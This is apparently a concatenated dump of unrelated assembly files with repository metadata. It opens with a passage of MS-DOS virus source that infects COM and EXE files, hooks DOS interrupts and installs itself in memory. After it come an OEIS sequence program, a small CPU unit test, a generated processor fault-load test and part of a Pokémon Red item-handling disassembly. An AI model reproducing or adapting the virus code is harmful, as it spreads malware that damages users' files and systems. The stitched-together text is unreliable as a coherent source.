SI,-10 SUB SI,AX SBB DI,DX MOV DX,CX MOV AX,BX SUB AX,SI SBB DX,DI JB J5FF ;J5D4 ADD SI,0DC0 ADC DI,+00 SUB BX,SI SBB CX,DI JNB J5FF ;IF NO ERROR J5E1: JMP CLOSE_EXITVIR ;J6AE COM_INFEC: ;j5E4 MOV BYTE PTR [COMFILE],01 ; CHECK IF FILE SIZE CMP WORD PTR [FSIZE1],+00 ; WILL ALLOW INFECTION JNZ J5E1 ; CMP WORD PTR [FSIZE2],+20 ; JBE J5E1 ; CMP WORD PTR [FSIZE2],0F277 ; JNB J5E1 ; J5FF: MOV CX,WORD PTR [FSIZE1] ; FIGURE END OF FILE MOV DX,WORD PTR [FSIZE2] ; +DATA NEEDED TO GET IT TO ADD DX,+0F ;A EVEN PAGE IE DIVISIBLE BY 10H ADC CX,+00 ; AND DX,-10 ; CALL START_FILE ; XOR DX,DX MOV CX,0B41 ;OFFSET TOP_VIRUS -OFFSET BOT_VIRUS+1 PUSH word ptr [x7] MOV BYTE PTR [x7],01 CALL WRITE_FILE POP CX MOV BYTE PTR [x7],CL JB J5E1 CMP BYTE PTR [COMFILE],00 JE EXEINFEC ;J638 MOV CX,0004 ; WRITES FIRST 4 BYTES CALL WRITE_FILE ; TO END OF FILE EXEINFEC: CALL FORCE_WRITE ; FA 7A 2C 00 JB J5E1 MOV DX,WORD PTR [FSIZE1] MOV AX,[FSIZE2] ADD AX,000F ADC DX,+00 AND AX,0FFF0 DIV WORD PTR [PAGE_16] MOV WORD PTR[CHECKSUM],AX CMP BYTE PTR [COMFILE],00 JE EXEONLY ;DO THIS TO COM FILE ONLY MUL WORD PTR [PAGE_16] MOV BYTE PTR [TOP_HOST],0E9 ADD AX,07CE MOV [TOP_HOST+1],AX JMP SHORT J069E EXEONLY: ;66C MOV [I_CS],AX MOV WORD PTR [I_IP],07D1 ;OFFSET START MUL WORD PTR [PAGE_16] ADD AX,OFFSET VGROUP:BOT_VIR ;B40 ADC DX,+00 DIV WORD PTR [EXE_PG_SIZE] INC AX MOV WORD PTR [P_COUNT],AX MOV WORD PTR [P_SIZE],DX MOV AX,WORD PTR [H_PARA] SUB WORD PTR [I_CS],AX ;J692: SET MIN_MALLOC MOV SI,OFFSET MINALLOC CALL P_MIN_MAX_ALLOC MOV SI,OFFSET MAXALLOC CALL P_MIN_MAX_ALLOC J069E: XOR CX,CX MOV DX,CX CALL START_FILE MOV DX,OFFSET TOP_HOST MOV CX,20 CALL WRITE_FILE CLOSE_EXITVIR: ;J6AE PUSH [BP+0E] PUSH [BP+06] CALL CLOSE_F ;J6B7 ADD SP,+04 ;REMOVE LAST 2 PUSH LEAVE_: MOV BYTE PTR [INFEC_FL],0FF POP AX POP BX POP CX POP DX POP SI POP DI POP BP POP DS POP ES POPF GOTO_INT21: ;J6C9 PUSHF PUSH CS ; FLAG <- BP +6 PUSH WORD PTR CS:[C_OFFSET_21] ; CS <- BP +4 CMP BYTE PTR CS:[REM2],00 ; IP <- BP +2 JNE J6D9 ; OLDBP <- BP =SP IRET ; J6D9: PUSH BP MOV BP,SP OR WORD PTR [BP+06],0100 ;SETS TRAP FLAG ON ;RETURN MOV BYTE PTR CS:[REM2],00 POP BP IRET VIR_INT_21 ENDP ; C OPEN_FILE PROC ; A PUSH BP ; FLAG 8 MOV BP,SP ; CS 6 PUSH ES ; IP 4 PUSH DX ; BP 2 PUSH CX ;BP-> PUSH BX PUSH AX MOV AX,3300 ;GET EXT CTRL-BREAK CALL C2_INT21 ;P361 MOV BYTE PTR [CTRL_FLAG],DL ;SAVE OLD SETTING MOV AX,3301 ;SET CTRL-BREAK XOR DL,DL ;OFF CALL C2_INT21 MOV AX,3524 ;GET INT 24 CALL C2_INT21 ;VECTORS MOV WORD PTR [OLD_INT24_SEG],ES ;SAVE THEM HERE MOV WORD PTR [OLD_INT24_OFS],BX ; MOV DX,OFFSET VIR_INT24 ;J384 MOV AX,2524 ;SET INT 24 CALL C2_INT21 ;TO OUR HANDLER MOV AX,4300 ;GET THE FILE ATTRIBUTES PUSH DS ; LDS DX,[BP+04] ;PTR TO FILENAME CALL C2_INT21 ; POP DS ; JB GET_OUT_F_CL ;PROB_CH MOV BYTE PTR [F_ATTR],CL ; TEST CL,01 ;TEST FOR R_W JZ NOCHANGE_ATTR ; ITS R_W IF EQUAL MOV AX,4301 ;CHANGE F_ATTR push ds XOR CX,CX ; LDS DX,[BP+04] ; CALL C2_INT21 ; POP DS ; PROB_CH: JB GET_OUT_F_CL ; NOCHANGE_ATTR: MOV AX,3D02 ;OPEN FILE R_W PUSH DS ; LDS DX,[BP+04] ;FNAME PTR CALL C2_INT21 POP DS JB J0780 ;J74C MOV WORD PTR [F_HANDLE],AX ; MOV AX,5700 ;GET FILE TIME DATE CALL I21_F_HANDLE ; MOV WORD PTR [F_TIME],CX MOV WORD PTR [F_DATE],DX POP AX POP BX POP CX POP DX POP ES POP BP CLC RET OPEN_FILE ENDP ;764 CLOSE_F PROC PUSH BP MOV BP,SP PUSH ES PUSH DX PUSH CX PUSH BX PUSH AX MOV CX,WORD PTR [F_TIME] ; RESTORE MOV DX,WORD PTR [F_DATE] ; TIME AND DATE MOV AX,5701 ; TO FILE CALL I21_F_HANDLE MOV AH,3E CALL I21_F_HANDLE ;****************** J0780: MOV CL,BYTE PTR [F_ATTR] XOR CL,20 AND CL,3F TEST CL,21 JZ GET_OUT_F_CL ;J7A0 MOV AX,4301 PUSH DS XOR CH,CH MOV CL,BYTE PTR [F_ATTR] LDS DX,[BP+04] ;ASCIZ FILENAME CALL C2_INT21 ;J361************* POP DS GET_OUT_F_CL: MOV AX,2524 PUSH DS LDS DX,DWORD PTR [OLD_INT24_OFS] CALL C2_INT21 POP DS MOV DL,BYTE PTR [CTRL_FLAG] MOV AX,3301 CALL C2_INT21 POP AX POP BX POP CX POP DX POP ES POP BP STC RET CLOSE_F ENDP RET_HOST PROC POP CX MOV DX,0200 CMP BYTE PTR CS:[BX+REM2],00 JE J7CC MOV DH,03 J7CC: PUSH DX PUSH CS PUSH CX INC BX IRET RET_HOST ENDP ;07d1 START: CALL FIND_OFFSET FIND_OFFSET: POP BX SUB BX,OFFSET FIND_OFFSET MOV BYTE PTR CS:[BX+INFEC_FL],0FF ;D005C CLD CMP BYTE PTR CS:[BX+COMFILE],00 JE EXEFILE ;J800 ;ONLY OCCURS IF IT IS A COM FILE MOV SI,OFFSET TOP_HOST ;MOV 20H BYTES FROM ADD SI,BX ; [SI] TO MOV DI,0100 ; [DI] MOV CX,0020 ; REPZ MOVSB PUSH CS PUSH WORD PTR CS:[BX+HOST_IP] PUSH ES PUSH DS PUSH AX JMP short INSTALLED? EXEFILE: ;NOTICE NO BX+ OFFSET NEEDED BECAUSE IT ASSUMES IT IS EXE AT THIS ;MOMENT MOV DX,DS ADD DX,+10 ADD DX,WORD PTR CS:[I_CS] PUSH DX PUSH word ptr cs:[I_IP] PUSH ES PUSH DS PUSH AX INSTALLED?: PUSH BX MOV BX,002C CLC MOV AX,0C603 INT 21 POP BX JNB NOT_INSTALLED ;J0827 EXIT: POP AX POP DS POP ES CALL RET_HOST ;P_07BE RETF ;J0827 NOT_INSTALLED: CMP BYTE PTR cs:[BX+COMFILE],00 JE FILE_IS_EXE ;J0834 CMP SP,-10 JB EXIT ;J0820 FILE_IS_EXE: MOV AX,DS ;LOOK AT MCB DEC AX ; MOV ES,AX ; CMP BYTE PTR ES:[0000],5A ; IS IT Z JE LAST_MEM_BLOCK ;YES IT IS LAST ONE PUSH BX MOV AH,48 ;REQUEST A BLOCK OF MEM MOV BX,0FFFF ;LARGEST AVAILABLE INT 21 CMP BX,00BC ;IS BLOCK > BC JB TO_SMALL ;J0853 MOV AH,48 ;AVAIBLE BLOCK IS BIG ENOUGH INT 21 ; GET IT IN AX TO_SMALL: POP BX JB EXIT DEC AX ;GET MCB SEGMENT IN ES MOV ES,AX ; CLI MOV WORD PTR ES:[0001],0000 ;MARK THIS BLOCK AS FREE CMP BYTE PTR ES:[0000],5A ; IS LAST MCB JNE EXIT ADD AX,WORD PTR ES:[0003] ;SIZE OF MEM MCB CONTROLS INC AX ; MOV WORD PTR ES:[0012],AX ;0012 PTS TO NEXT MCB LAST_MEM_BLOCK: MOV AX,WORD PTR ES:[0003] ;SIZE OF MEM SUB AX,00BC ;MINUS SIZE VIRUS/10H JB EXIT ; MOV WORD PTR ES:[0003],AX SUB WORD PTR ES:[0012],00BC MOV ES,ES:[0012] ;SEG TO LOAD VIRUS INTO XOR DI,DI ;MOV B40 BYTES FROM MOV SI,BX ; DS:[SI] ; TO ES:[DI] MOV CX,OFFSET VGROUP:BOT_VIR ;0B40 DB 0F3, 2E,0A4 ; REPZ CS: MOVSB ; PUSH ES POP DS PUSH BX ;J0899 ;NOTE THAT DS:= ES MEANS LOCATION IN HIGH MEM BELOW 640 ;SO THAT IF CS IS REFRENCED YOU MUST STILL USE OFFSET ;BUT IF DS IS USED OFFSET CAN NOT BE USED MOV AX,3521 INT 21 MOV [OLD_INT21_SEG],ES MOV [OLD_INT21_OFS],BX MOV [OLD_INT21_SEG2],ES MOV [OLD_INT21_OFS2],BX MOV AX,3501 ;GET VECTOR FOR INT 21 ;INTERUPT 01 MOV SI,BX ;SAVE IN REGS MOV DI,ES ;DS:SI MOV AX,351C INT 21 MOV [OLD_INT1C_SEG],ES MOV [OLD_INT1C_OFS],BX POP BX MOV AX,2521 MOV DX,OFFSET VIR_INT_21 INT 21 MOV AX,2501 MOV DX,OFFSET VIR_INT_01 INT 21 MOV DX,OFFSET VIR_INT_1C PUSHF MOV AX,BX ;PUT OFFSET IN AX ADD AX,OFFSET VACSINE ;SET UP TO GO HERE PUSH CS ;USING STACK PUSH AX ;SAVE OFFSET CLI ;CLEAR INTER FLAGS PUSHF ;PUSH FLAGS POP AX ;POP FLAG OR AX,0100 ;SET TF PUSH AX ;FOR SINGLE STEP MOV AX,BX ADD AX,OFFSET REAL_INT21 ;FLAGS SET FOR SINGLE STEP PUSH CS ;CS PUSH AX ;IP TO REAL_INT21 MOV AX,251C ;WHEN INT 21 CALLED ;HOOK 1C MOV BYTE PTR [SNARE],01 IRET VIR_INT_01 PROC PUSH BP MOV BP,SP CMP BYTE PTR CS:[SNARE],01 ;IF SNARE IS SET JE YES_NO ;CONTINUE EXIT_VIR_INT01: AND WORD PTR [BP+06],0FEFF ;CLEAR TF MOV BYTE PTR cs:[SNARE],00 ;CLEAR SNARE POP BP ; IRET ; YES_NO: CMP WORD PTR [BP+04],0300 ; JB GOT_IT ;J0918 POP BP ;NOPE IRET ;TRY AGAIN GOT_IT: PUSH BX MOV BX,[BP+02] MOV WORD PTR CS:[OLD_INT21_OFS2],BX MOV BX,[BP+04] MOV WORD PTR CS:[OLD_INT21_SEG2],BX POP BX JMP EXIT_VIR_INT01 VIR_INT_01 ENDP VACSINE: MOV BYTE PTR [SNARE],00 MOV AX,2501 ;RESTORE MOV DX,SI ;INT 01 MOV DS,DI ; INT 21 ; ;NEXT PIECE OF CODE IS LOOKING AT DS:=0000 ;0000:00C5 MIGHT BE A JUMP TO AN INT BEING ALTERED AT TABLE ;0000:00C7 ;0000:0413 MEM SIZE IN KILOBYTES XOR AX,AX MOV DS,AX MOV WORD PTR DS:[00C5],397F MOV BYTE PTR DS:[00C7],2C MOV AX,WORD PTR DS:[MEM_SIZE] MOV CL,06 SHL AX,CL MOV DS,AX MOV SI,012E XOR AX,AX MOV CX,0061 L1: ADD AX,[SI] ADD SI,+02 LOOP L1 CMP AX,053BH JE PING_IN_MEM ;J0969 JMP EXIT ;J0820 PING_IN_MEM: CLI MOV BYTE PTR DS:[017AH],01H MOV BYTE PTR DS:[01FBH],01H MOV BYTE PTR DS:[0093H],0E9H MOV WORD PTR DS:[0094H],0341H PUSH DS POP ES PUSH CS POP DS MOV SI,BX ;STILL = OFFSET ADD SI,OFFSET NEW_PONG MOV DI,03D7 MOV CX,0027 REPZ MOVSB STI JMP EXIT P_0995 PROC ;CALLED BY P_09C8 ; PUSH BP MOV BP,SP PUSH CX MOV AX,8000 XOR CX,CX PLOOP: TEST AX,[BP+08] JNE J09A8 INC CX SHR AX,1 JMP short PLOOP J09A8: XOR AX,[BP+08] JE J09BC MOV AX,[BP+04] ADD AX,[BP+08] ADD AX,CX SUB AX,0011 CLC POP CX POP BP RET J09BC: MOV AX,000F SUB AX,CX ADD AX,[BP+06] STC POP CX POP BP RET P_0995 ENDP ;******************************************************************** P_09C8 PROC ;CALLED BY P_02D8 PUSH BP MOV BP,SP SUB SP,+10 ;ADD BACK SP 5 WORDS MOV DX,8000 L21: TEST DX,[BP+08] JNZ J09DA SHR DX,1 JMP L21 J09DA: LEA DI,[BP-10] ; MOV CX,0008 ; XOR AX,AX ; PUSH SS ;SS = ES POP ES ; REPZ STOSW ;MOV 8 WORDS FROM ;MOV DS:SI ;TO ES:DI MOV CX,[BP+08] J09E9: TEST CX,DX JE J0A4B PUSH CX PUSH [BP+06] PUSH [BP+04] CALL P_0995 MOV ES,AX LAHF ADD SP,+06 SAHF JB J0A3A ;0A00 MOV AX,WORD PTR ES:[0000] ; XOR [BP-10],AX ; ; MOV AX,WORD PTR ES:[0002] ; XOR [BP-0E],AX ; ; MOV AX,WORD PTR ES:[0004] ; XOR [BP-0C],AX ; ; MOV AX,WORD PTR ES:[0006] ; XOR [BP-0A],AX ; ; MOV AX,WORD PTR ES:[0008] ; XOR [BP-08],AX ; ; MOV AX,WORD PTR ES:[000A] ; XOR [BP-06],AX ; ; MOV AX,WORD PTR ES:[000C] ; XOR [BP-04],AX ; ; MOV AX,WORD PTR ES:[000E] ; XOR [BP-02],AX ; ; JMP SHORT J0A4B J0A3A: MOV AX,CX MOV CX,0008 LEA SI,[BP-10] XOR DI,DI DB 0F3,36,0A5 ; REPZ SS:MOVSW MOV CX,AX JMP SHORT J0A4E J0A4B: DEC CX JMP SHORT J09E9 J0A4E: SHR DX,1 JB J0A54 JMP SHORT J09DA J0A54: MOV SP,BP POP BP RET P_09C8 ENDP ;***************************************************************** P_0A58 PROC PUSH BP MOV BP,SP PUSH DS J0A5C: MOV DS,[BP+04] MOV ES,[BP+06] XOR BX,BX J0A64: MOV AX,WORD PTR ES:[BX] XOR WORD PTR [BX],AX ADD BX,+02 CMP BX,+10 JB J0A64 INC WORD PTR [BP+04] INC WORD PTR [BP+06] DEC WORD PTR [BP+08] JNZ J0A5C POP DS POP BP RET P_0A58 ENDP ;************************************************************ P_0A7F PROC PUSH BP MOV BP,SP PUSH DS MOV BL,01 J0A85: XOR SI,SI J0A87: XOR CX,CX MOV DI,[BP+08] ADD DI,[BP+0A] DEC DI J0A90: MOV DS,DI SHR BYTE PTR [SI],1 RCL CX,1 DEC DI CMP DI,[BP+08] JNB J0A90 OR CX,CX JZ J0AB1 PUSH CX PUSH [BP+06] PUSH [BP+04] CALL P_0995 ADD SP,+06 ; MOV DS,AX XOR BYTE PTR [SI],BL J0AB1: INC SI CMP SI,+10 JB J0A87 SHL BL,01 JNB J0A85 POP DS POP BP RET P_0A7F ENDP J0ABE DB 87,0DBH ;J0AC0 DB 88,CB ;VALUE MAYBE USED AS 0ACO J0AC0: DB 88,0CBH,8A,99,8F,38 DB 0E7H,0CDH,0A1H,9BH,3EH DB 0EF,86,0C8,97,83,52 DB 34,0BE,8C,21, 29,0B1 DB 0F9H,0C1H,9BH,12H,04H,09H,0F3H DB 45, 01, 93, 01DH, 0B0 DB 0B9,0C6,01,06,92,37,50 DB 49,0E8,0D5,71,97 DB 22,0A6,0E6,04C,50 DB 0BE,2A,23 DB 0BE,44, 01DH DB 0A1,0A6,6BH DB 0A0,0E0,06 DB 0AA,1A,0F6,2A,0C0 DB 02,2F,75,99 DB 06H,0FH,5BH,97H,02H,3EH DB 64, 07DH, 0C8,50,66,08 DB 0C4,0FA,92,8E,64,75 DB 1BH, 0A6H, 1BH, 0B9H, 32H, 0BDH DB 0BH, 3EH, 61H, 06DH, 0E0H, 0C4H DB 0B9H, 29, 0CAH, 9CH, 17H, 08H, 21H DB 0EAH, 0EEH, 7EH , 85H, 0B1H DB 63H, 2AH, 0C3H, 71H, 71H, 2CH, 0A0H DB 0F2H, 8BH, 59H, 0DH DB 0F9,0D5H, 00H ;POSSIBLE END OF VIRUS BOT_VIR EQU $ ;LABEL FOR END OF VIRUS VIRUS_CODE ENDS END start
26.167125
173
0.42027
[ "MIT" ]
010001111/Family
MSDOS/Virus.MSDOS.Unknown.yd23.asm
47,598
Assembly
; A183766: 1/32 the number of (2n+1) X 4 binary arrays with equal numbers of 2 X 2 subblocks with sum mod two being 0 and 1. ; Submitted by Jon Maiga ; 40,7392,1555840,346131968,79420170240,18585877094400,4409408507412480,1056689477487820800,255189244398549336064,62004700939478066266112,15140238779254079729172480,3712064235466595220724908032,913251474671527814233273139200,225339550974735348716438248488960,55741922357257014210746503334461440,13819201186062066164115642147196108800,3432613925689355718933782451346477154304,854106971537354380417947152956060870901760,212845559005739972349140471945051354551025664 mov $1,$0 mov $0,4 pow $0,$1 seq $1,187366 ; One half of a trisection of A001700: binomial(6n+5,3(n+1))/2, n>=0. mul $1,$0 mov $0,$1 mul $0,8
63.083333
463
0.844122
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/183/A183766.asm
757
Assembly
#include "../../flame32.asm" ; Tests SUB lod 1 ldl B, 1 sub A, B
9.428571
28
0.590909
[ "MIT" ]
drako0812/flame32
flame32-libs/unit-tests/test-sub-1.asm
66
Assembly
SECTION code_fp_am9511 PUBLIC modf EXTERN cam32_sccz80_modf defc modf = cam32_sccz80_modf ; SDCC bridge for Classic IF __CLASSIC PUBLIC _modf EXTERN _am9511_modf defc _modf = _am9511_modf ENDIF
12.6875
30
0.812808
[ "Unlicense" ]
drunkfly/gamemyx
Tools/z88dk/libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/modf.asm
203
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %rax push %rbp push %rbx push %rsi lea addresses_A_ht+0x110b5, %r15 nop nop nop nop and %rbp, %rbp movw $0x6162, (%r15) nop nop cmp $9955, %rbx lea addresses_A_ht+0x11a8d, %rax dec %r11 mov (%rax), %r12 nop nop nop nop nop dec %rbp lea addresses_D_ht+0x4e0d, %rax nop add %rsi, %rsi movups (%rax), %xmm0 vpextrq $1, %xmm0, %r12 nop nop nop dec %rsi lea addresses_UC_ht+0x14455, %rbx nop cmp $24095, %rax mov $0x6162636465666768, %r15 movq %r15, %xmm0 and $0xffffffffffffffc0, %rbx movaps %xmm0, (%rbx) nop nop nop nop sub $60026, %rsi pop %rsi pop %rbx pop %rbp pop %rax pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r8 push %rsi // Store lea addresses_UC+0x1e755, %r14 nop nop nop and %r15, %r15 movl $0x51525354, (%r14) nop nop nop nop sub %r8, %r8 // Store lea addresses_WT+0x9755, %r13 nop nop nop nop nop and $20712, %r15 mov $0x5152535455565758, %r14 movq %r14, (%r13) dec %r13 // Faulty Load lea addresses_RW+0x8ab5, %r8 dec %rsi movb (%r8), %r13b lea oracles, %r8 and $0xff, %r13 shlq $12, %r13 mov (%r8,%r13,1), %r13 pop %rsi pop %r8 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': True}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
42.97561
2,999
0.657586
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_945.asm
5,286
Assembly
UseItem_: ld a, 1 ld [wActionResultOrTookBattleTurn], a ; initialise to success value ld a, [wcf91] ;contains item_ID cp HM_01 jp nc, ItemUseTMHM ld hl, ItemUsePtrTable dec a add a ld c, a ld b, 0 add hl, bc ld a, [hli] ld h, [hl] ld l, a jp hl ItemUsePtrTable: dw ItemUseBall ; MASTER_BALL dw ItemUseBall ; ULTRA_BALL dw ItemUseBall ; GREAT_BALL dw ItemUseBall ; POKE_BALL dw ItemUseTownMap ; TOWN_MAP dw ItemUseBicycle ; BICYCLE dw ItemUseSurfboard ; out-of-battle Surf effect dw ItemUseBall ; SAFARI_BALL dw ItemUsePokedex ; POKEDEX dw ItemUseEvoStone ; MOON_STONE dw ItemUseMedicine ; ANTIDOTE dw ItemUseMedicine ; BURN_HEAL dw ItemUseMedicine ; ICE_HEAL dw ItemUseMedicine ; AWAKENING dw ItemUseMedicine ; PARLYZ_HEAL dw ItemUseMedicine ; FULL_RESTORE dw ItemUseMedicine ; MAX_POTION dw ItemUseMedicine ; HYPER_POTION dw ItemUseMedicine ; SUPER_POTION dw ItemUseMedicine ; POTION dw ItemUseBait ; BOULDERBADGE dw ItemUseRock ; CASCADEBADGE dw UnusableItem ; THUNDERBADGE dw UnusableItem ; RAINBOWBADGE dw UnusableItem ; SOULBADGE dw UnusableItem ; MARSHBADGE dw UnusableItem ; VOLCANOBADGE dw UnusableItem ; EARTHBADGE dw ItemUseEscapeRope ; ESCAPE_ROPE dw ItemUseRepel ; REPEL dw UnusableItem ; OLD_AMBER dw ItemUseEvoStone ; FIRE_STONE dw ItemUseEvoStone ; THUNDER_STONE dw ItemUseEvoStone ; WATER_STONE dw ItemUseVitamin ; HP_UP dw ItemUseVitamin ; PROTEIN dw ItemUseVitamin ; IRON dw ItemUseVitamin ; CARBOS dw ItemUseVitamin ; CALCIUM dw ItemUseVitamin ; RARE_CANDY dw UnusableItem ; DOME_FOSSIL dw UnusableItem ; HELIX_FOSSIL dw UnusableItem ; SECRET_KEY dw UnusableItem dw UnusableItem ; BIKE_VOUCHER dw ItemUseXAccuracy ; X_ACCURACY dw ItemUseEvoStone ; LEAF_STONE dw ItemUseCardKey ; CARD_KEY dw UnusableItem ; NUGGET dw UnusableItem ; ??? PP_UP dw ItemUsePokedoll ; POKE_DOLL dw ItemUseMedicine ; FULL_HEAL dw ItemUseMedicine ; REVIVE dw ItemUseMedicine ; MAX_REVIVE dw ItemUseGuardSpec ; GUARD_SPEC dw ItemUseSuperRepel ; SUPER_REPL dw ItemUseMaxRepel ; MAX_REPEL dw ItemUseDireHit ; DIRE_HIT dw UnusableItem ; COIN dw ItemUseMedicine ; FRESH_WATER dw ItemUseMedicine ; SODA_POP dw ItemUseMedicine ; LEMONADE dw UnusableItem ; S_S_TICKET dw UnusableItem ; GOLD_TEETH dw ItemUseXStat ; X_ATTACK dw ItemUseXStat ; X_DEFEND dw ItemUseXStat ; X_SPEED dw ItemUseXStat ; X_SPECIAL dw ItemUseCoinCase ; COIN_CASE dw ItemUseOaksParcel ; OAKS_PARCEL dw ItemUseItemfinder ; ITEMFINDER dw UnusableItem ; SILPH_SCOPE dw ItemUsePokeflute ; POKE_FLUTE dw UnusableItem ; LIFT_KEY dw UnusableItem ; EXP_ALL dw ItemUseOldRod ; OLD_ROD dw ItemUseGoodRod ; GOOD_ROD dw ItemUseSuperRod ; SUPER_ROD dw ItemUsePPUp ; PP_UP (real one) dw ItemUsePPRestore ; ETHER dw ItemUsePPRestore ; MAX_ETHER dw ItemUsePPRestore ; ELIXER dw ItemUsePPRestore ; MAX_ELIXER ItemUseBall: ; Balls can't be used out of battle. ld a, [wIsInBattle] and a jp z, ItemUseNotTime ; Balls can't catch trainers' Pokémon. dec a jp nz, ThrowBallAtTrainerMon ; If this is for the old man battle, skip checking if the party & box are full. ld a, [wBattleType] dec a jr z, .canUseBall ld a, [wPartyCount] ; is party full? cp PARTY_LENGTH jr nz, .canUseBall ld a, [wNumInBox] ; is box full? cp MONS_PER_BOX jp z, BoxFullCannotThrowBall .canUseBall xor a ld [wCapturedMonSpecies], a ld a, [wBattleType] cp BATTLE_TYPE_SAFARI jr nz, .skipSafariZoneCode .safariZone ld hl, wNumSafariBalls dec [hl] ; remove a Safari Ball .skipSafariZoneCode call RunDefaultPaletteCommand ld a, $43 ; successful capture value ld [wPokeBallAnimData], a call LoadScreenTilesFromBuffer1 ld hl, ItemUseText00 call PrintText ; If the player is fighting an unidentified ghost, set the value that indicates ; the Pokémon can't be caught and skip the capture calculations. callab IsGhostBattle ld b, $10 ; can't be caught value jp z, .setAnimData ld a, [wBattleType] dec a jr nz, .notOldManBattle .oldManBattle ld hl, wGrassRate ld de, wPlayerName ld bc, NAME_LENGTH call CopyData ; save the player's name in the Wild Monster data (part of the Cinnabar Island Missingno. glitch) jp .captured .notOldManBattle ; If the player is fighting the ghost Marowak, set the value that indicates the ; Pokémon can't be caught and skip the capture calculations. ld a, [wCurMap] cp POKEMON_TOWER_6F jr nz, .loop ld a, [wEnemyMonSpecies2] cp MAROWAK ld b, $10 